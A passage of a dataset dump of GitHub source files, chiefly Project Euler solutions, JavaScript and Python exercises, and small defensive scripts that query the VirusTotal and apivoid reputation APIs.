"e2a19fd48fcbed5b5aaccf9bb263908ee179da16", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 776, "license_type": "no_license", "max_line_length": 61, "num_lines": 29, "path": "/euler039/euler39.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "\n\ndef integer_triangles(p):\n # i = longest side (ie hypoteneuse)\n # j = next\n # k = shortest (= p - i - j)\n\n # j must be less than i\n # k must be less than j\n # k must be greater than 1\n # ie j < i and (p-i-j) < j and (p-i-j) > 1\n # ie j < i and j > 0.5*(p-i) and j < (p-i-1)\n \n for i in range(int(p/3), p):\n for j in range(int(0.5*(p-i)), min(i, p-i-1)):\n k = p - i - j\n if i**2 == j**2 + k**2:\n yield (k, j, i)\n\ndef main():\n p_max = 0\n n_max = 0\n for p in range(1000):\n res = list(integer_triangles(p))\n if len(res) > n_max:\n p_max = p\n n_max = len(res)\n print('New max: p={}, n={}'.format(p_max, n_max))\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.4707412123680115, "alphanum_fraction": 0.48634591698646545, "avg_line_length": 26.464284896850586, "blob_id": "134b665dc186c33982c364427e2a77d6500526e3", "content_id": "4d5c2b52b3a44c4927066891cc2c24f67db6af83", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 769, "license_type": "no_license", "max_line_length": 70, "num_lines": 28, "path": "/euler107/converter.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "import sys\n\ndef main():\n filename = sys.argv[1]\n filename_out = sys.argv[2]\n\n edges = []\n with open(filename, 'r') as f:\n line_number = 0\n for line in f:\n weights = line.split(',')\n for (i, weight) in enumerate(weights):\n weight = weight.strip()\n if weight != '-' and i > line_number:\n edges.append((line_number, i, int(weight)))\n line_number += 1 \n\n n_nodes = len(weights)\n n_edges = len(edges)\n\n with open(filename_out, 'w') as f:\n f.write('{0}\\n'.format(n_nodes))\n f.write('{0}\\n'.format(n_edges))\n for edge in edges:\n f.write('{0} {1} {2}\\n'.format(edge[0], edge[1], edge[2]))\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.44235295057296753, "alphanum_fraction": 0.4647058844566345, "avg_line_length": 19.707317352294922, "blob_id": "1bae7c0c1bb50c10b92651597394a80b99e0e95a", "content_id": "f41f4b10948dfe93a748da736201b48112a89e7c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 850, "license_type": "no_license", "max_line_length": 56, "num_lines": 41, "path": "/euler034/euler34.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "\nfrom math import factorial\n\ndef digit_fns(n, fn):\n i = 10\n while i < n:\n nums = [int(n) for n in str(i)]\n sum_fns = sum([fn(n) for n in nums])\n if sum_fns == i:\n yield i\n i = i + 1\n\ndef main():\n # Max digits to look at?\n # Compare n*fn(9) with 10^n\n # Assuming that fn(9) is less than exponential\n\n fn = factorial\n # fn = lambda x: x**5\n\n nmax = -1\n for n in range(1,20):\n if n*fn(9) < 10**n:\n nmax = n\n break\n\n if nmax == -1:\n print(\"Couldn't find nmax\")\n exit()\n else:\n print('Max digits = {}, max number = {}'.format(\n nmax, nmax*fn(9))) \n\n res = []\n for i in digit_fns(nmax*fn(9)+1, fn):\n print(i)\n res.append(i)\n\n print('Sum = {}'.format(sum(res)))\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.4032520353794098, "alphanum_fraction": 0.4439024329185486, "avg_line_length": 20.20689582824707, "blob_id": "645dd461f67fcccb5f17b78a7862e5c727994cc4", "content_id": "3dbfa0da9d7a95ba9f4532e6fdcee301a474b3f4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 615, "license_type": "no_license", "max_line_length": 84, "num_lines": 29, "path": "/euler007/euler7.js", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "\"use strict\";\n\nfunction generate_primes(nmax) {\n var primes = [2,3];\n var isprime = true;\n\n for (var i=5; i<nmax; i+=2) {\n isprime = true;\n \n for (var x=0; x<primes.length; x++) {\n if (i % primes[x] == 0) {\n isprime = false; break;\n }\n }\n\n if (isprime) {\n primes.push(i);\n }\n \n if (i%100000 == 1) {\n console.log(\"Generated primes up to \" + i + \", count \" + primes.length);\n }\n }\n \n return primes;\n}\n\nvar res = generate_primes(500000);\nconsole.log(res[0] + \" \" + res[10000]);\n" }, { "alpha_fraction": 0.4475138187408447, "alphanum_fraction": 0.5027624368667603, "avg_line_length": 15.454545021057129, "blob_id": "f2ac6ea7911e96ca34b43e13161ce2c80e0ca032", "content_id": "49addc48b33345609577147ad2d56fc67cb7df4b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 181, "license_type": "no_license", "max_line_length": 49, "num_lines": 11, "path": "/euler010/euler10.r", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "val_max <- 2e6\nvals <- seq(1, val_max)\n\nvals[1] <- 0\nfor (i in seq(2, val_max / 2)) {\n if (vals[i] > 0) {\n vals[seq(2 * vals[i], val_max, vals[i])] <- 0\n }\n}\n\nprint(sum(vals))\n" }, { "alpha_fraction": 0.5334448218345642, "alphanum_fraction": 0.5507246255874634, "avg_line_length": 27.4761905670166, "blob_id": "3f7a3ca0ed17ec8159ce9d74e9989e0ad571a4fe", "content_id": "75503d24acdc5ae16b93e8cb52dc7fc8cc439ff0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1794, "license_type": "no_license", "max_line_length": 81, "num_lines": 63, "path": "/euler020/euler16.py", "repo_name": "simw/euler", "src_encoding": "UTF-8", "text": "from __future__ import division\nfrom __future__ import print_function\n\nfrom math import factorial\n\ndef number_to_digit_list(num):\n return [int(x) for x in list('{0}'.format(num))]\n\nclass PrecisionNumber(object):\n MAX_PRECISION = 1000\n\n def __init__(self, num, factor):\n self.factor = factor\n\n self.nums = [0 for i in range(self.MAX_PRECISION)]\n\n remainder = num\n for i in range(self.MAX_PRECISION):\n self.nums[i] = remainder % factor\n remainder = int(remainder / factor)\n if remainder == 0:\n break\n\n def mult(self, num):\n for i in range(self.MAX_PRECISION):\n if self.nums[i] != 0:\n self.nums[i] = self.nums[i] * num\n\n for i in range(self.MAX_PRECISION):\n if self.nums[i] >= self.factor and i < self.MAX_PRECISION-1:\n self.nums[i+1] = self.nums[i+1] + int(self.nums[i] / self.factor)\n self.nums[i] = self.nums[i] % self.factor\n \n\n def print_num(self):\n for i in reversed(range(len(self.nums))):\n if self.nums[i] != 0:\n print('{0} x {1}^{2}'.format(self.nums[i], self.factor, i))\n\n def get_sum_digits(self):\n total = 0\n for i in range(len(self.nums)):\n total = total + sum(number_to_digit_list(self.nums[i]))\n\n return total\n\ndef main():\n n = 100\n\n # Method 1: using precisionumber class as above\n pn = PrecisionNumber(1, 1000)\n \n for i in range(1, n+1):\n pn.mult(i)\n\n print('Sum digits = {0}'.format(pn.get_sum_digits()))\n\n # Method 2: python is clever enough to do this for us ...\n n = factorial(n) \n print('Sum digits v2 = {0}'.format(sum(number_to_digit_list(n))))\n\nif __name__ == '__main__':\n main()\n" } ]
50
excellencemichel/Hands-On-Security-Engineering-with-Python
https://github.com/excellencemichel/Hands-On-Security-Engineering-with-Python
236b982ad659ca2006b0b22d947c8878eb2d0ac2
d6277b213c7e7ccbae1c0608c259059351c893c8
e0bee5d73c0b19576999b0a22942983696b3d708
refs/heads/master
2021-05-19T11:15:02.425139
2020-03-17T16:27:44
2020-03-17T16:27:44
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6845238208770752, "alphanum_fraction": 0.6934523582458496, "avg_line_length": 19.875, "blob_id": "5c0e8b6badb83b1da92b3cab14e02e3ef5d1e4c6", "content_id": "202750999ba632db58eda20eeba6e253641deb81", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 336, "license_type": "permissive", "max_line_length": 58, "num_lines": 16, "path": "/CH-1-vt-api-file-lookup-secure.py", "repo_name": "excellencemichel/Hands-On-Security-Engineering-with-Python", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python2.7\n#@JonLittleIT\nimport requests\nimport json\nimport os\n\nurl = 'https://www.virustotal.com/vtapi/v2/file/scan'\napikey = os.environ['apikey']\n\nparams = {'apikey': apikey}\n\nfiles = {'file': ('myfile.exe', open('myfile.exe', 'rb'))}\n\nresponse = requests.post(url, files=files, params=params)\n\nprint(response.json())\n\n\n" }, { "alpha_fraction": 0.5998380184173584, "alphanum_fraction": 0.6018630862236023, "avg_line_length": 37.453125, "blob_id": "d1b879f290be2badea8bc72960df09b59bcb324e", "content_id": "cc748bf2d97130ef529a722c32da54bc569a7ec6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2469, "license_type": "permissive", "max_line_length": 147, "num_lines": 64, "path": "/CH-1-iprep-secure.py", "repo_name": "excellencemichel/Hands-On-Security-Engineering-with-Python", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n#@JonLittleIT\n#The credentials section is for security and you will need apivoid_key in ENV during use.\n\n\n\nimport requests\nimport json\nimport sys\nimport os\n\n#Using environ for storing credentials in ENV\napivoid_key = os.environ['apivoid_key']\n\n\ntry:\n ip = sys.argv[1];\nexcept:\n print(\"Usage: \" + os.path.basename(__file__) + \" <ip_address>\")\n sys.exit(1)\n\ndef apivoid_iprep(key, ip):\n try:\n r = requests.get(url='https://endpoint.apivoid.com/iprep/v1/pay-as-you-go/?key='+key+'&ip='+ip)\n return json.loads(r.content.decode())\n except:\n return \"\"\n\ndata = apivoid_iprep(apivoid_key, ip)\n\ndef get_detection_engines(engines):\n list = \"\";\n for key, value in engines.items():\n if(bool(value['detected']) == 1):\n list+=str(value['engine'])+\", \"\n return list.rstrip(\", \")\n\nif(data):\n if(data.get('error')):\n print(\"Error: \"+data['error'])\n else:\n #this came as default parsing from API makers so I left it.\n\n print(\"IP: \"+data['data']['report']['ip'])\n print(\"Hostname: \"+data['data']['report']['information']['reverse_dns'])\n print(\"---\")\n print(\"Detections Count: \"+str(data['data']['report']['blacklists']['detections']))\n print(\"Detected By: \"+get_detection_engines(data['data']['report']['blacklists']['engines']))\n print(\"---\")\n print(\"Country: \"+data['data']['report']['information']['country_code']+\" (\"+data['data']['report']['information']['country_name']+\")\")\n print(\"Continent: \"+data['data']['report']['information']['continent_code']+\" (\"+data['data']['report']['information']['continent_name']+\")\")\n print(\"Region: \"+data['data']['report']['information']['region_name'])\n print(\"City: \"+data['data']['report']['information']['city_name'])\n print(\"Latitude: \"+str(data['data']['report']['information']['latitude']))\n print(\"Longitude: \"+str(data['data']['report']['information']['longitude']))\n print(\"ISP: \"+data['data']['report']['information']['isp'])\n print(\"---\")\n print(\"Is Proxy: \"+str(data['data']['report']['anonymity']['is_proxy']))\n print(\"Is Web Proxy: \"+str(data['data']['report']['anonymity']['is_webproxy']))\n print(\"Is VPN: \"+str(data['data']['report']['anonymity']['is_vpn']))\n print(\"Is Hosting: \"+str(data['data']['report']['anonymity']['is_hosting']))\n print(\"Is Tor: \"+str(data['data']['report']['anonymity']['is_tor']))\nelse:\n print(\"Error: Request failed\")\n \n \n" }, { "alpha_fraction": 0.8301886916160583, "alphanum_fraction": 0.8301886916160583, "avg_line_length": 52, "blob_id": "d9e54170bf9789765e33d90b8c43df17a3deeac0", "content_id": "2cb2e3927e866f977d41bf0670786b746d26881e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 106, "license_type": "permissive", "max_line_length": 61, "num_lines": 2, "path": "/README.md", "repo_name": "excellencemichel/Hands-On-Security-Engineering-with-Python", "src_encoding": "UTF-8", "text": "# Hands-On-Security-Engineering-with-Python\nHands-On Security Engineering with Python, Published by Packt\n" } ]
3
dassaev-lima/simulador_de_dado
https://github.com/dassaev-lima/simulador_de_dado
671434a62b928bf392ac700e90eaeeb4d22923b5
00e96f36d1995da5a3c82fa6797216f9af42cd94
94357118850ece424f21d66374b6c09edc390a70
refs/heads/master
2022-11-20T04:46:27.900519
2020-07-24T13:30:04
2020-07-24T13:30:04
266,652,429
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.764976978302002, "alphanum_fraction": 0.764976978302002, "avg_line_length": 42.400001525878906, "blob_id": "29aef74ef92aa6e3364b800bb21cbc65d9189712", "content_id": "cdddcf1a3ef53bc1b95050abc25cb7b43c812659", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 443, "license_type": "no_license", "max_line_length": 115, "num_lines": 10, "path": "/README.md", "repo_name": "dassaev-lima/simulador_de_dado", "src_encoding": "UTF-8", "text": "### Entendendo o projeto\nUm Script em python que simula o lançamento de um dado usando a biblioteca random\n\n### Primeiras coisas\n - Antes de tudo é importante ter o python instalado em sua máquina\n - Em seguida clone o projeto para uma pasta de sua preferência\n\n### Como executar\nApós baixar o projeto vá até a pasta onde o mesmo se encontra pelo prompt de comando e execute a seguinte instrução\n - ```python Simulador_de_dado.py```\n" }, { "alpha_fraction": 0.5116063356399536, "alphanum_fraction": 0.5181058645248413, "avg_line_length": 26.512821197509766, "blob_id": "fd27afff23945d6a2edb35a8b600ad7e6db0892d", "content_id": "b3138c7bcc3d2bf1444cca2a4261f94e4700e26e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1081, "license_type": "no_license", "max_line_length": 82, "num_lines": 39, "path": "/Simulador_de_dado.py", "repo_name": "dassaev-lima/simulador_de_dado", "src_encoding": "UTF-8", "text": "import random\nfrom time import sleep\n\nclass Dado:\n\n def __init__(self):\n self.valor = 1\n \n def iniciar_simulador(self):\n mensagem = '''\n *** Olá seja vem vindo ao meu simulador de dado ***\n o dado será jogado agora, por favor aguarde...\\n'''\n print(mensagem)\n sleep(4)\n self.jogar()\n print(f'\\nO valor sorteado do dado foi o número {dado.valor}\\n')\n\n self.jogar_novamente()\n\n def jogar(self):\n self.valor = random.randint(1,6)\n return self.valor\n\n def jogar_novamente(self):\n while True:\n resposta = input('Gostaria de jogar novamente (s/n) ')\n if resposta == 'n':\n break\n elif resposta == 's':\n sleep(1)\n print(f'\\nO valor sorteado do dado foi o número {self.jogar()}\\n')\n else:\n sleep(1)\n print('\\nOpa: Houve um erro na sua resposta.\\n')\n sleep(1) \n print('\\n*** Obrigado por jogar ***')\n\ndado = Dado()\ndado.iniciar_simulador()\n\n\n\n\n" } ]
2
OctaviaOZ/Python_trainee
https://github.com/OctaviaOZ/Python_trainee
881842598fed6b508bb8572b1e10b8ac179142ba
c93f815999ecf024e9dfbf91d92548da2e0af00d
7e4eec3cbd8e202a304735adb3b7d6cf2b713bbf
refs/heads/master
2023-03-09T00:33:44.370066
2021-02-27T21:12:38
2021-02-27T21:12:38
342,368,963
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5602641701698303, "alphanum_fraction": 0.580077052116394, "avg_line_length": 26.119403839111328, "blob_id": "4c2e0411ec0143644acd5fd89d40adff95162fbd", "content_id": "f244b9656383e72afba658e7cef044e3ec82514f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5451, "license_type": "no_license", "max_line_length": 112, "num_lines": 201, "path": "/tasks03.py", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "import re\n\n\ndef outer(name):\n def inner():\n print(f\"Hello, {name}!\")\n\n return inner\n\n\n# tom = outer(\"tom\")\n# tom()\n\n\ndef create(arg):\n return lambda arg1: arg == arg1\n\n\n# tom = create(\"pass_for_Tom\")\n\n# print(tom(\"pass_for_Tom\"))\n# print(tom(\"pass_for_tom\"))\n\n\ndef create_account(user_name, password, secret_words):\n \"\"\"\n param: user_name: string, password: string, secret_words: list\n return: inner function check\n\n Password should contain at least 6 symbols including one uppercase letter,\n one lowercase letter, special character and one number.\n Otherwise function create_account raises ValueError.\n \"\"\"\n\n pattern_password = re.compile(\n r'^(?=.*[a-z])(?=.*[A-Z])(?=.*[0-9])(?=.*[!@#$%^&*\\[\\]\\\"\\';:_\\-<>., =+/\\\\]).{6,}$')\n\n if not pattern_password.match(password):\n raise ValueError(\"Password should contain at least 6 symbols including one uppercase letter, \"\n \"one lowercase letter, special character and one number\")\n\n def check(password_check, secret_words_check):\n\n if password != password_check or len(secret_words) != len(secret_words_check) or len(secret_words) == 0:\n return False\n\n len_misspelled_1 = 0\n len_misspelled_2 = 0\n for i in range(len(secret_words)):\n\n if secret_words[i] not in secret_words_check:\n len_misspelled_1 += 1\n\n if secret_words_check[i] not in secret_words:\n len_misspelled_2 += 1\n\n if len_misspelled_1 > 1:\n return False\n\n if len_misspelled_2 > 1:\n return False\n\n return True\n\n return check\n\n\ndef create_account1(user_name, password, secret_words):\n \"\"\"\n param: user_name: string, password: string, secret_words: list\n return: inner function check\n\n Password should contain at least 6 symbols including one uppercase letter,\n one lowercase letter, special character and one number.\n Otherwise function create_account raises ValueError.\n \"\"\"\n\n pattern_password = \\\n r'^(?=.*[a-z])(?=.*[A-Z])(?=.*[0-9])(?=.*[!@#\\$%\\^&\\*\\[\\]\\\"\\';:_\\-<>\\., =\\+\\/\\\\]).{6,}$'\n\n try:\n if not re.match(pattern_password, password):\n raise ValueError(\"Password should contain at least 6 symbols including one uppercase letter, \" +\n \"one lowercase letter, special character and one number.\")\n except ValueError as e:\n print(e)\n return False\n\n # (\"Password should contain at least 6 symbols including one uppercase letter, \"\n # \"one lowercase letter, special character and one number\")\n\n def check(password_check, secret_words_check):\n\n if password != password_check or len(secret_words) != len(secret_words_check):\n return False\n\n return sum(1 for i in range(len(secret_words)) if secret_words[i] not in secret_words_check) < 2 and \\\n sum(1 for i in range(len(secret_words)) if secret_words_check[i] not in secret_words) < 2\n\n return check\n\n\n#tom = create_account1(\"Tom\", \"Qwerty1_\", [\"1\", \"word\"])\n#check1 = tom(\"Qwerty1_\", [\"1\", \"word\"]) #return True\n#print(check1)\n#\n# check2 = tom(\"Qwerty1_\", [\"word\"]) #return False due to different length of [\"1\", \"word\"] and [\"word\"]\n#\n# check3 = tom(\"Qwerty1_\", [\"word\", \"12\"]) #return True\n#\n# check4 = tom(\"Qwerty1!\", [\"word\", \"1\"]) #return False because \"Qwerty1!\" not equals to \"Qwerty1_\"\n#\n# print(check1, check2, check3, check4)\n#\n# user2 = create_account1(\"User2\", \"yu6r*Tt5\", [\"word1\", \"abc3\", \"list\"])\n# print(user2(\"yu6r*Tt5\",[\"abc3\", \"word1\", \"list\"]))\n#\n#val1 = create_account1(\"123\", \"qQ1345\", [1, 1])\n\n#val1 = create_account1(\"123\", \"qQ1!45\", [1, 2, 1])\n#print(val1(\"qQ1!45\", [1, 3, 4]))\n\n\ndef divisor(n):\n for i in range(1, n + 1):\n if not n % i:\n yield i\n\n while True:\n yield None\n\n\n# three = divisor(3)\n# print(next(three))\n# print(next(three))\n# print(next(three))\n# print(next(three))\n\n\ndef logger(func):\n def wrapper(*args, **kwargs):\n a = ', '.join(map(str, args))\n if a and kwargs:\n a += ', '\n a += ', '.join(map(str, kwargs.values()))\n\n result = func(*args, **kwargs)\n\n print(f\"Executing of function {func.__name__} with arguments {a}...\")\n\n return result\n\n return wrapper\n\n\n@logger\ndef concat(*args, **kwargs):\n s_ = ''\n for s in args:\n s_ += str(s)\n\n for s in kwargs.values():\n s_ += str(s)\n\n return s_\n\n\nprint(concat(2, 3))\nprint(concat('hello', 2))\nprint(concat (first = 'one', second = 'two'))\n\n# print(concat(1))\n# print(concat('first string', second = 2, third = 'second string'))\n\n# Executing of function concat with arguments first string, 2, second string...\n# first string2second string\n\nfrom random import choice\n\n\ndef randomWord(words):\n w = words[:]\n while True and w:\n\n for i in range(len(w)):\n choiced = choice(w)\n yield choiced\n w.remove(choiced)\n\n w = words[:]\n\n yield None\n\n# import collections\n#\n# double_list = [\"word1\", \"Biggg word\", \"last word\"]\n# actual_list = []\n# random_element = randomWord(double_list)\n# for _ in range(len(double_list) * 2):\n# actual_list.append(next(random_element))\n# print(collections.Counter(set(actual_list)) == collections.Counter(set(double_list * 2)))\n" }, { "alpha_fraction": 0.5479452013969421, "alphanum_fraction": 0.5479452013969421, "avg_line_length": 15.84615421295166, "blob_id": "089ac8b779c406fb99d179872dab46bb5399f792", "content_id": "702c8f5d8ca317bb5c7c441dc70c680720c780c8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 219, "license_type": "no_license", "max_line_length": 33, "num_lines": 13, "path": "/DS Titanic docker/settings/setup.py", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "from setuptools import setup\n\nsetup(\n name='app',\n version='',\n packages=['utils'],\n package_dir={'': 'settings'},\n url='',\n license='',\n author='Octavia',\n author_email='',\n description=''\n)\n" }, { "alpha_fraction": 0.5814065337181091, "alphanum_fraction": 0.5987476110458374, "avg_line_length": 23.7261905670166, "blob_id": "0be4e2fa34257b7f56386b944a497337a12d4a47", "content_id": "70c06f2a880214e11a1989f7da0f6e8a5eee1aa2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2076, "license_type": "no_license", "max_line_length": 126, "num_lines": 84, "path": "/JS/Tasks12.js", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "function getMin1(numbers) {\n {min_prop : return numbers.reduce(\n (min, currentValue) => min < currentValue ? min : currentValue)}\n return this.min_prop;\n}\n\nconst getMin = function(numbers) {\n return [].reduce.call(numbers, function(min, elem){return min < elem ? min : elem;\n }, this.getMin);\n};\n\n//console.log(getMin([12, 6, 22, 13, 7]));\n\nconst product = function() {\n return [].reduce.call(arguments, function(res, elem) {\n return res * elem;\n }, this.product);\n};\n\nconst contextObj = { product: 2 * 3 };\n\nconst getProduct = function() {\n return product.apply(contextObj, arguments);\n}\n\n//console.log(getProduct(4,5));\n\n//const Checker = require('./Checker.js');\n\nclass Movie {\n constructor(name, category, startShow) {\n this.name = name;\n this.category = category;\n this.startShow = startShow;\n }\n\n watchMovie(){\n return `I watch the movie ${this.name}!`;\n }\n}\n\n// let movie1 = new Movie(\"Titanic\", \"drama\",1997);\n// let movie2 = new Movie(\"Troya\", \"historical\",2004);\n// console.log(movie1.watchMovie())\n\nclass Student {\n constructor(fullName, direction){\n this._fullName = fullName;\n this._direction = direction;\n }\n showFullName(){\n return `${this._fullName}`;\n }\n nameIncludes(data){\n return this._fullName.includes(data);\n }\n static studentBuilder(){\n return new Student(\"Ihor Kohut\", \"qc\");\n }\n get direction() {\n return this._direction;\n }\n set direction(value){\n this._direction = value;\n }\n}\n\n// let stud1 = new Student(\"Ivan Petrenko\", \"web\");\n// let stud2 = new Student(\"Sergiy Koval\", \"python\");\n// let stud3 = Student.studentBuilder()\n//\n// console.log(stud1.nameIncludes('Ivan')); // true\n\n\nfunction mapCreator(keys, values) {\n const map = new Map();\n for(let i = 0; i < keys.length; i++){\n if(typeof values[i] === 'string')\n map.set(keys[i], values[i]);\n }\n return map;\n}\n\nconst map = mapCreator([1, 2, 3, 4, 5, 6, 7],[\"Lviv\", \"Rivne\", \"Kyiv\", \"Dnipro\", \"Kharkiv\", \"Chernivtsi\", \"Ivano-Frankivsk\"]);" }, { "alpha_fraction": 0.4951923191547394, "alphanum_fraction": 0.526442289352417, "avg_line_length": 14.148148536682129, "blob_id": "1324d7d21a4de16f6ba266b62e0d1b5012615906", "content_id": "f12947edb40f76ab01e7aa83394e0af1e0dab716", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 416, "license_type": "no_license", "max_line_length": 38, "num_lines": 27, "path": "/practics/practic.py", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# coding: utf-8\n# import numpy as np\n# import math\n# x = 'first'\n# y = x\n# print(id(x))\n# print(id(y))\n# y += 'bar'\n# print(id(x))\n# print(id(y))\n# x = [1,2,3]\n# y = x\n# y += [4,5,6]\n# print(x)\n#\n# print(y+3)\nfrom itertools import islice\n\ndef fib():\n prev, curr = 0, 1\n while True:\n yield curr\n prev, curr = curr, prev + curr\n\nf = fib()\nprint(list(islice(f, 0, 10)))\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.7463235259056091, "alphanum_fraction": 0.7463235259056091, "avg_line_length": 20.760000228881836, "blob_id": "c981257ad4326dfffa279226dec85cb4b9648074", "content_id": "ec4ac200135e05673b5c5c31b83bb20a54bba72c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 544, "license_type": "no_license", "max_line_length": 47, "num_lines": 25, "path": "/DS House pricing app/run_1.py", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "import json\nimport pandas as pd\nimport numpy as np\nfrom utils.trainer import Estimator\n\nfrom utils.dataloader import DataLoader\nfrom settings. constants import TRAIN_CSV\n\n\nwith open('settings/specifications.json') as f:\n specifications = json.load(f)\n\nraw_train = pd.read_csv(TRAIN_CSV)\nx_columns = specifications['description']['X']\ny_column = specifications['description']['y']\n\nx_raw = raw_train[x_columns]\n\nloader = DataLoader()\nloader.fit(x_raw)\nX = loader.load_data()\ny = raw_train.SalePrice\n\nestimate = Estimator()\nestimate.fit(X, y)\n" }, { "alpha_fraction": 0.5173041820526123, "alphanum_fraction": 0.5505464673042297, "avg_line_length": 23.38888931274414, "blob_id": "f28e58a8921dd8ea1db2710f39c1f8edf99c85ed", "content_id": "d74e1211073aaae4d70dd8b38dcd6cca329d6a0f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2196, "license_type": "no_license", "max_line_length": 105, "num_lines": 90, "path": "/JS/Tasks10.js", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "//coveralls.io \n\nfunction modifyArray(arr) {\n arr[0] = \"Start\";\n arr[arr.length - 1] = \"End\";\n return arr\n}\n\n//console.log(modifyArray([12, 6, 22, 0, -8]));\n\nfunction combineArray(arr1, arr2) {\n const newArr = arr1.filter(n => typeof(n)==='number').concat(arr2.filter(n => typeof(n)==='number'));\n return newArr\n\n}\n\n//console.log(combineArray([12, \"User01\", 22, true, -8], [\"Index\", 6, null, 15]))\n\nlet longestLogin = function(loginList){\n var MaxValue = loginList.reduce(\n (max, currentValue) => {\n return (max.length > currentValue.length ? max : currentValue);\n }\n );\n\n return MaxValue;\n }\n\n//console.log(longestLogin([\"serg22\", \"tester_2\", \"Prokopenko\", \"guest\"]))\n\nfunction factorial(n) {\n return (n != 1) ? n * factorial(n - 1) : 1;\n}\n\nfunction factorial(n) {\n if (n < 2)\n return 1;\n let result = 1;\n for (let i = 1; i != n+1; i++) {\n \t\t\tresult *= i;\n }\n return result;\n}\n\nfunction processArray(arr, func) {\n const newArr = arr.map( function (x) {\n return func(x);\n });\n return newArr\n}\n\nfunction checkAdult(age) {\n try {\n switch (True) {\n case (age === undefined):\n throw new Error(\"Please, enter your age\");\n case (age < 0):\n throw new Error(\"Please, enter positive number\");\n case (!typeof (age) === 'number'):\n throw new Error(\"Please, enter number\");\n case !Number.isInteger(age):\n throw new Error(\"Please, enter Integer number\");\n case (age < 18):\n throw new Error(\"Access denied - you are too young!\");\n\n default:\n console.log(\"Access allowed\");\n }\n }\n catch (exception) { // error object\n console.log(exception.name + \" \" + exception.message);\n }\n finally {\n console.log(\"Age verification complete\");\n }\n}\n\n\nconst salary = [550, 900, 1800, 2200];\nsalary.unshift(1000, 1350);\n//console.log(salary)\n\nconst arr1 = [\"User1\", \"User2\"]\nconst arr2 = [1, 2, 3]\n//arr.concat(arr1, arr2);\nlet arr = [...arr1, ...arr2]\nconsole.log(arr)\n\n//console.log(Math.floor(16.5))\n//console.log(\"a\"+\"a\"+ +\"a\"+\"a\")\n\n" }, { "alpha_fraction": 0.5405405163764954, "alphanum_fraction": 0.5577395558357239, "avg_line_length": 24.46875, "blob_id": "8e6056a2641a190beee27711076e523e8a52fe9a", "content_id": "129357287719b29ee1df0a4b4a5eddc34ccfc75d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 814, "license_type": "no_license", "max_line_length": 71, "num_lines": 32, "path": "/JS/theory2.js", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "// Tagged template literals\nfunction tag(strings,...values) {\n console.log(strings);\n console.log(values);\n\n return \"JS Nuggets\";\n}\nvar a = 5;\nvar b = 10;\n\n//tag`Hello ${a + b} world ${a * b}`;\n\n//console.log(tag`Hello ${a + b} world ${a * b}`);\n\nfunction template(strings,...keys) {\n return (function (...values) {\n var dict = values[values.length - 1] || {};\n var result = [strings[0]];\n keys.forEach(function (key, i) {\n var value = Number.isInteger(key) ? values[key]: dict[key];\n result.push(value, strings[i + 1]);\n });\n return result.join('');\n });\n}\n\nvar t1Closure = template`${0}${1}${0}!`;\n//console.log(t1Closure('Y', 'A'));\nvar t2Closure = template`${0} ${'foo'}!`\n//console.log(t2Closure('Hello', {foo: 'World'}));\n\nconsole.log()" }, { "alpha_fraction": 0.6495327353477478, "alphanum_fraction": 0.7110592126846313, "avg_line_length": 33.72972869873047, "blob_id": "7783ebec464c4c8546c4c768404698dfc6da3cb7", "content_id": "7a156f76f926a2ba70098acc57f7e1f9729344c1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1284, "license_type": "no_license", "max_line_length": 104, "num_lines": 37, "path": "/quiz_regular expression.py", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "import re\n\n#3 Which of the following regular expression can be used to identify date(s) present in the text object:\n\nx = \"The next meetup on data science will be held on 2017-09-21, previously it happened on 31/03, 